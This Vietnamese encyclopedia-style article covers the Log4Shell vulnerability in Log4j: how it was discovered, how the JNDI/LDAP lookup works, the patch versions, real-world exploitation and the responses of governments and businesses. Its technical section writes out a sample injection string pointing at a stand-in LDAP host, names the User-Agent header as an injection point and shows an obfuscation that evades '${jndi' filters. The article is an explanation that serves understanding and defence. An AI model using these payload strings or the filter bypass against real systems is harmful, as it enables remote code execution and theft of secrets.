Log4Shell

**Log4Shell (CVE-2021-44228)** là một lỗ hổng zero-day có liên quan đến phương thức tấn công thực thi mã từ xa tồn tại trong thư viện Log4j, một thư viện ghi nhật trình phổ biến cho ngôn ngữ lập trình Java. Lỗ hổng này tồn tại mà không được phát hiện từ năm 2013; vào ngày 24 tháng 11 năm 2021, Chen Zhaojun, một thành viên của đội ngũ an ninh của công ty Alibaba Cloud, đã thông báo kín về lỗ hổng cho đơn vị phát triển và chủ quản của dự án Log4j là Quỹ Phần mềm Apache. 

Lỗ hổng được biết đến với cái tên "Log4Shell" trước khi được gán mã định danh CVE chính thức vào ngày 10 tháng 12 năm 2021; tên gọi này được thành viên LunaSec Free Wortley đặt để sử dụng trong việc theo dõi. Log4Shell được Apache chấm điểm 10 trên thang đo độ nghiêm trọng CVSS (Common Vulnerability Scoring System) - số điểm cao nhất trên thang đánh giá này. Lỗ hổng này rất dễ khai thác, và đã có khả năng ảnh hưởng đến hàng trăm triệu thiết bị.

Log4Shell lợi dụng việc thư viện Log4j cho phép gửi yêu cầu đến các máy chủ LDAP và JNDI bất kì để cho phép tin tặc chạy mã Java trên máy chủ hoặc máy tính cá nhân của nạn nhân, hoặc làm rò rỉ thông tin nhạy cảm trên các thiết bị này. Đội ngũ An ninh Apache đã công bố danh sách những dự án phần mềm bị ảnh hưởng. Các dịch vụ thương mại bị ảnh hưởng bao gồm Amazon Web Services, Cloudflare, iCloud, ''Minecraft: Java Edition'', Steam, Tencent QQ, và nhiều dịch vụ khác. Theo Wiz và EY, lỗ hổng này ảnh hưởng đến 93% các môi trường điện toán đám mây doanh nghiệp.

Việc lỗ hổng này được công bố đã nhận được nhiều phản ứng mạnh từ các chuyên gia an ninh mạng. Công ty an ninh mạng Tenable cho rằng lỗ hổng này là "lỗ hổng lớn nhất, nguy hiểm nhất từ trước đến nay," *[[Ars Technica]]* nói rằng Log4Shell là "lỗ hổng có thể là nguy hiểm nhất lịch sử," và *[[The Washington Post]]* báo rằng những lời mô tả về lỗ hổng của các chuyên gia an ninh "gần như đang mô tả lại một ngày tận thế."
## Bối cảnh

Log4j là một thư viện mã nguồn mở cung cấp chức năng ghi lại nhật trình dữ liệu cho các chương trình; các mục nhật trình này có thể bao gồm dữ liệu do người dùng nhập vào. Hiện tại thư viện này được sử dụng rộng rãi trong các ứng dụng viết bằng Java, đặc biệt là các ứng dụng dùng trong môi trường doanh nghiệp. Thư viện được Ceki Gülcü viết vào năm 2001; về sau Log4j được chuyển vào danh mục Apache Logging Services, một dự án của Quỹ Phần mềm Apache. Tom Kellermann, một thành viên của Ủy ban An ninh mạng của Tổng thống Hoa Kỳ Barack Obama, đã gọi Apache là "một trong những cây trụ lớn nâng đỡ cây cầu kết nối giữa hai thế giới của các ứng dụng và môi trường máy tính."

## Hành vi
Hệ thống Java Naming and Directory Interface (JNDI) cho phép người dùng tra cứu các đối tượng Java vào thời điểm chạy chương trình thông qua một đường dẫn cho trước. JNDI có thể sử dụng nhiều giao thức thư mục với các quy trình tra cứu khác nhau, trong đó bao gồm giao thức Lightweight Directory Access Protocol (LDAP), một giao thức chung cho phép tải về dữ liệu đối tượng dưới dạng URL từ một máy chủ tương thích trong mạng cục bộ hoặc ở bất kỳ đâu trên Internet.

Khi ghi một xâu vào nhật trình với thiết lập mặc định, Log4j 2 thay thế kí tự đối với các biểu thức có cú pháp `${tiền-tố:tên}`. Ví dụ, xâu `Text: ${java:version}` có thể được biến đổi thành `Text: Java version 1.7.0_67`. Một biểu thức tương thích là `${jndi:<lookup>}`; bằng cách tra cứu dữ liệu thông qua LDAP, có thể truy vấn thông tin từ một URL bất kì và nạp thông tin này dưới dạng đối tượng Java. Ví dụ, xâu `${jndi:ldap://example.com/file}` sẽ nạp dữ liệu từ URL tương ứng nếu máy chủ kết nối với Internet. Bằng cách nhập một xâu dữ liệu được ghi lại trong nhật trình, tin tặc có thể nạp và chạy mã độc được lưu tại một URL công khai. Kể cả nếu không thể chạy đoạn mã nhận lại, tin tặc vẫn có thể truy cập các dữ liệu khác, ví dụ như các biến môi trường bí mật, bằng cách khai báo biến trong URL - các giá trị thực của biến sẽ được thay thế vào URL và gửi đến máy chủ của tin tặc. Ngoài LDAP ra, các giao thức JDNI khác có thể bị khai thác khác bao gồm LDAPS (phiên bản bảo mật cao hơn của LDAP), Java Remote Method Invocation (RMI), hệ thống phân giải tên miền (DNS), và Internet Inter-ORB Protocol (IIOP).

Vì các yêu cầu HTTP thường được ghi nhật trình, một hướng tấn công thường gặp là đặt xâu chứa mã độc trong đường dẫn URL của yêu cầu hoặc vào một trường khác, ví dụ như trường `User-Agent`. Những biện pháp khắc phục ban đầu bao gồm phương pháp chặn các yêu cầu có nội dung có thể chứa mã độc, ví dụ như xâu `${jndi`. Những biện pháp dưới dạng so khớp xâu cơ bản này có thể bị vô hiệu bằng cách làm rối (obfuscate) yêu cầu trước khi gửi: xâu `${${lower:j}ndi` sẽ được biến đổi thành `${jndi` sau khi kí tự `j` được biến đổi thành chữ thường. Kể cả nếu nội dung nhập vào không được ghi vào nhật trình ngay lập tức, dữ liệu có thể về sau được ghi lại trong quá trình xử lý dữ liệu, và khi đó nội dung của yêu cầu sẽ được chạy.

## Khắc phục
Bản vá khắc phục lỗ hổng này được thêm vào bản cập nhật 2.150-rc1 của Log4j vào ngày 6 tháng 12 năm 2021, ba ngày trước khi lỗ hổng được công bố công khai. Lỗ hổng được khắc phục bằng cách giới hạn các loại máy chủ và giao thức có thể sử dụng cho việc tra cứu thông tin. Các nhà nghiên cứu đã phát hiện một lỗ hổng liên quan khác; lỗ hổng CVE-2021-45046 cho phép chạy mã từ trong mạng cục bộ hoặc từ xa trong một số thiết lập không mặc định; lỗ hổng này được khắc phục ở bản 2.16.0 bằng cách vô hiệu hóa toàn bộ các chức năng sử dụng JNDI và các chức năng tra cứu tin nhắn khác. Thêm hai lỗ hổng nữa được phát hiện: lỗ hổng CVE-2021-45105 cho phép tấn công từ chối dịch vụ, được khắc phục ở bản 2.17.0, và lỗ hổng thực thi mã từ xa khó khai thác CVE-2021-44832, được khắc phục ở bản 2.17.1. Đối với các phiên bản cũ hơn, cách khắc phục cả hai lỗ hổng là xóa lớp `org.apache.logging.log4j.core.lookup.JndiLookup` khỏi classpath; một biện pháp khác được khuyến cáo ban đầu là đặt thiết lập `log4j2.formatMsgNoLookups` thành `true`, nhưng biện pháp này không khắc phục được CVE-2021-45046 và về sau bị phát hiện là không vô hiệu hóa được chức năng tra cứu tin nhắn trong một số trường hợp.

Các phiên bản mới của Java Runtime Environment (JRE) khắc phục lỗ hổng này bằng cách mặc định không cho nạp các đoạn mã từ xa; tuy nhiên trong một số ứng dụng vẫn tồn tại các hướng tấn công khác. Một số các phương pháp và công cụ nhằm phát hiện các phiên bản Log4j còn mắc phải lỗ hổng trong các thư viện Java đã được biên dịch và xây dựng đã được tạo ra.

Với các trường hợp không thể cập nhật được phần mềm vì các lý do như thiếu tài nguyên hoặc phần mềm do bên thứ ba quản lý, giải pháp thường được sử dụng là lọc luồng dữ liệu xuất ra từ các hệ thống bị ảnh hưởng; phương pháp này được NCC Group và Trung tâm An ninh Mạng Quốc gia của Vương quốc Anh khuyên dùng, và được coi là ví dụ của phương pháp "bảo mật bằng chiều sâu" (defense in depth). Các cuộc thử nghiệm với các hệ thống tường lửa có khả năng lọc luồng dữ liệu xuất ra từ các phiên bản có lỗ hổng của thư viện Log4j và JRE đã chứng minh được sự hiệu quả của phương pháp trên.

## Khai thác
Tin tặc có thể thông qua Java mà chiếm quyền kiểm soát các thiết bị mắc phải lỗ hổng. Một số tin tặc lợi dụng lỗ hổng để sử dụng thiết bị của nạn nhân để đào tiền kỹ thuật số, xây dựng botnet, gửi thư rác, đặt backdoor hoặc sử dụng cho các hoạt động phi pháp khác, ví dụ như đặt mã độc tống tiền. Check Point đã theo dõi được hàng triệu vụ tấn công vào những ngày sau khi lỗ hổng được công bố; một số nhà nghiên cứu phát hiện được hơn 100 vụ tấn công được thực hiện mỗi phút, trong đó hơn 40% hệ thống mạng máy tính của doanh nghiệp trên toàn thế giới bị tấn công.

Theo CEO Cloudflare Matthew Prince, đã có bằng chứng của việc khai thác và/hoặc truy tìm các thiết bị bị ảnh hưởng từ sớm nhất là ngày 1 tháng 12, 9 ngày trước khi lỗ hổng được công bố. Theo công ty an ninh mạng Grey Noise, một số địa chỉ IP đã quét dữ liệu trang web trên diện rộng để truy tìm các máy chủ bị ảnh hưởng bởi lỗ hổng; một số botnet cũng bắt đầu quét tìm lỗ hổng này, trong đó có Muhstik vào ngày 10 tháng 12, cùng với Mirai và Tsunami. Nhóm chuyên tung mã độc tống tiền Conti bị phát hiện đang khai thác lỗ hổng này vào ngày 17 tháng 12.

Một số nhóm tin tặc được nhà nước hậu thuẫn tại Trung Quốc và Iran cũng đã khai thác lỗ hổng này theo nguồn tin từ Check Point; hiện chưa rõ lỗ hổng này có được Israel, Nga hay Hoa Kỳ khai thác trước khi được công bố hay không. Check Point đưa tin rằng vào ngày 15 tháng 12 năm 2021, các tin tặc được Iran hậu thuẫn đã cố xâm nhập vào hệ thống mạng của các doanh nghiệp và cơ quan chính phủ tại Israel.

## Phản ứng và hệ quả
### Chính phủ

Giám đốc Cơ quan An ninh Mạng và An ninh Cơ sở Hạ tầng (Cybersecurity and Infrastructure Security Agency - CISA) Hoa Kỳ Jen Easterly đã gọi lỗ hổng Log4Shell là "một trong những lỗ hổng nghiêm trọng nhất tôi từng thấy trong suốt sự nghiệp của tôi, nếu không phải là nghiêm trọng nhất"; ông giải thích rằng hàng trăm triệu thiết bị đã bị ảnh hưởng và kêu gọi các nhà cung cấp thiết bị nhanh chóng đẩy ra các bản cập nhật phần mềm. Các cơ quan dân sự được thuê dưới diện nhà thầu bởi chính phủ Hoa Kỳ có hạn cuối đến ngày 24 tháng 12 năm 2021 để vá lỗi. Vào ngày 4 tháng 1, Ủy ban Thương mại Liên bang (FTC) đã tuyên bố sẽ truy cứu các công ty không thực hiện các bước cập nhật cần thiết đối với phần mềm sử dụng Log4j. Trong một cuộc họp tại Nhà Trắng, tầm quan trọng đối với an ninh quốc gia của việc bảo trì về mặt an ninh đối với các phần mềm mã nguồn mở - một công việc phần lớn do một số ít tình nguyện viên đảm nhận - được nhấn mạnh. Mặc dù một số dự án phần mềm nguồn mở thường có nhiều người theo dõi, nhiều dự án khác có rất ít hoặc không có người đảm nhận vai trò đảm bảo an ninh.

Văn phòng An toàn Thông tin Liên bang Đức (Bundesamt für Sicherheit in der Informationstechnik - BSI) đã đặt Log4Shell vào mức độ nguy hiểm cao nhất trong thang đo của tổ chức này. Tổ chức này cũng báo rằng đã có một số vụ tấn công diễn ra thành công và hiện vẫn khó được phạm vi ảnh hưởng của lỗ hổng này. Trung tâm An ninh Mạng Quốc gia Hà Lan (NCSC) đã bắt đầu công bố danh sách phần mềm bị ảnh hưởng.

Trung tâm An ninh Mạng Canada (CCCS) đã kêu gọi các tổ chức nên có động thái khắc phục ngay lập tức. Cơ quan Thuế vụ Canada đã tạm ngừng dịch vụ trực tuyến sau khi nhận được tin báo về lỗ hổng, trong khi Chính phủ Quebec đóng gần 4.000 trang web với mục đích "phòng ngừa". Bộ Quốc phòng Bỉ đã phải vô hiệu hóa một phần hệ thống mạng sau khi trở thành mục tiêu của một vụ tấn công.

Bộ Công nghiệp và Công nghệ thông tin Trung Quốc đã tạm thời đình chỉ quan hệ đối tác tình báo an ninh mạng đối với Alibaba Cloud trong sáu tháng vì không thông báo trước với chính phủ về lỗ hổng.

### Doanh nghiệp
Nghiên cứu của Wiz và EY cho thấy 93% môi trường điện toán đám mây doanh nghiệp trên toàn thế giới có nguy cơ bị tấn công bằng Log4Shell. 7% các hệ thống bị ảnh hưởng đang kết nối trực tiếp với mạng Internet và có khả năng bị tấn công diện rộng. Theo nghiên cứu này, chỉ có trung bình 45% các hệ thống bị ảnh hưởng được cập nhật bản vá sau 10 ngày kể từ khi lỗ hổng được công bố (20 tháng 12 năm 2021). Dữ liệu đám mây của Amazon, Google và Microsoft cũng bị ảnh hưởng bởi Log4Shell. Microsoft đã yêu cầu người dùng Windows và Azure cảnh giác sau khi theo dõi các tin tặc (trong đó bao gồm tin tặc được nhà nước hậu thuẫn) dò tìm các thiết bị bị ảnh hưởng bởi lỗ hổng Log4Shell trong tháng 12 năm 2021.

Công ty UKG, một trong những doanh nghiệp lớn nhất trong lĩnh vực quản trị nhân sự và lao động, đã trở thành mục tiêu của một vụ tấn công mã độc tống tiền nhắm đến các doanh nghiệp lớn. UKG cho biết rằng tổ chức này không tìm thấy bằng chứng cho rằng vụ tấn công này sử dụng Log4Shell, nhưng nhà phân tích Allan Liska từ công ty an ninh mạng Record Future cho rằng có thể có mối liên hệ giữa vụ tấn công và lỗ hổng này.

Trong khi các doanh nghiệp lớn bắt đầu đưa ra các bản vá cho  Log4Shell, các doanh nghiệp nhỏ càng gặp phải nhiều rủi ro hơn khi các tin tặc bắt đầu chuyển hướng nhắm đến các mục tiêu dễ tấn công hơn.

### Mối lo ngại về quyền riêng tư
Một số thiết bị cá nhân được kết nối với mạng Internet, ví dụ như TV thông minh và camera an ninh, cũng bị ảnh hưởng bởi lỗ hổng này. Một số các phần mềm được sử dụng trong các thiết bị này có thể không được cập nhật bản vá do nhà sản xuất không còn hỗ trợ nữa.

## Phân tích
Tính đến ngày 14 tháng 12 năm 2021, hơn 50% hệ thống mạng doanh nghiệp trên toàn thế giới đã bị tin tặc truy quét, và trong vòng 24 giờ đã có hơn 60 phiên bản khác nhau của lỗ hổng này được tung ra. Công ty Check Point Software Technologies đã mô tả tình hình lúc đó là "một đại dịch không gian mạng" trong một bài phân tích chi tiết và cho rằng nguy cơ thiệt hại tiềm ẩn là "không kể xiết". Một số lời bình luận được đưa ra ban đầu đã phóng đại số lượng các thư viện bị ảnh hưởng, gây ra nhiều trường hợp báo cáo giả; trong đó, nổi bật nhất là trường hợp thư viện "log4j-api" bị cho là đã mắc lỗ hổng, trong khi nghiên cứu về sau đã chỉ ra rằng chỉ có thư viện chính "log4j-core" bị ảnh hưởng.

Tạp chí ''Wired'' đưa tin rằng mặc dù nhiều lỗ hổng bảo mật trước đây đã bị "cường điệu hóa", "lỗ hổng Log4j xứng đáng với sự cường điệu hóa này vì nhiều lý do". Tạp chí này giải thích rằng phạm vi ảnh hưởng lớn, độ khó trong việc phát hiện và sự dễ dàng sử dụng của Log4Shell đã tạo ra một "sự kết hợp của độ nguy hiểm, sự đơn giản và diện ảnh hưởng rộng, đủ để làm rúng động cộng đồng an ninh mạng". Wired cũng chỉ ra các "giai đoạn" của các tin tặc sử dụng Log4Shell; đầu tiên là các nhóm đào tiền kỹ thuật số, sau đó là các nhóm buôn bán dữ liệu bán "chỗ đứng" cho tin tặc, và cuối cùng là các tin tặc này sử dụng lỗ hổng thực hiện các hành vi tung mã độc tống tiền, gián điệp và tiêu hủy dữ liệu.

Amit Yoran, CEO của Tenable và giám đốc sáng lập US-CERT (United States Computer Emergency Readiness Team) đã cho rằng "[Log4Shell] chắc chắn là lỗ hổng lớn nhất và nguy hiểm nhất từ trước đến nay". Ông chỉ ra rằng các vụ tấn công có tính chuyên nghiệp đã diễn ra rất nhanh sau khi lỗ hổng được công bố, và nói rằng "Chúng tôi đã phát hiện ra rằng lỗ hổng này được sử dụng cho việc tấn công bằng mã độc tống tiền, một lần nữa, điều này là một hồi chuông cảnh báo lớn... Chúng tôi cũng đã nhận được tin báo về việc tin tặc sử dụng Log4Shell để phá hủy hệ thống mà không đòi tiền chuộc; chúng tôi cho rằng hành vi này khá bất thường". Nhà nghiên cứu cấp cao của Sophos là Sean Gallagher nói rằng: "Thật lòng mà nói, mối đe dọa lớn nhất ở đây là một số người đã truy cập được vào hệ thống và giờ đang ngồi yên chờ thời, và kể cả nếu bạn khắc phục được vấn đề thì họ đã ở trong hệ thống rồi... Mối đe dọa này sẽ mãi trường tồn cùng với Internet."

Theo một tin báo từ *[[Bloomberg News]]*, các nhà phát triển phần mềm tại Apache đã nhận phải sự chỉ trích gay gắt vì thất bại trong việc khắc phục lỗ hổng sau khi nhận được những lời cảnh báo tại một hội nghị an ninh mạng vào năm 2016 về những lỗ hổng trong nhiều phân loại phần mềm, trong đó có Log4j.

## Tham khảo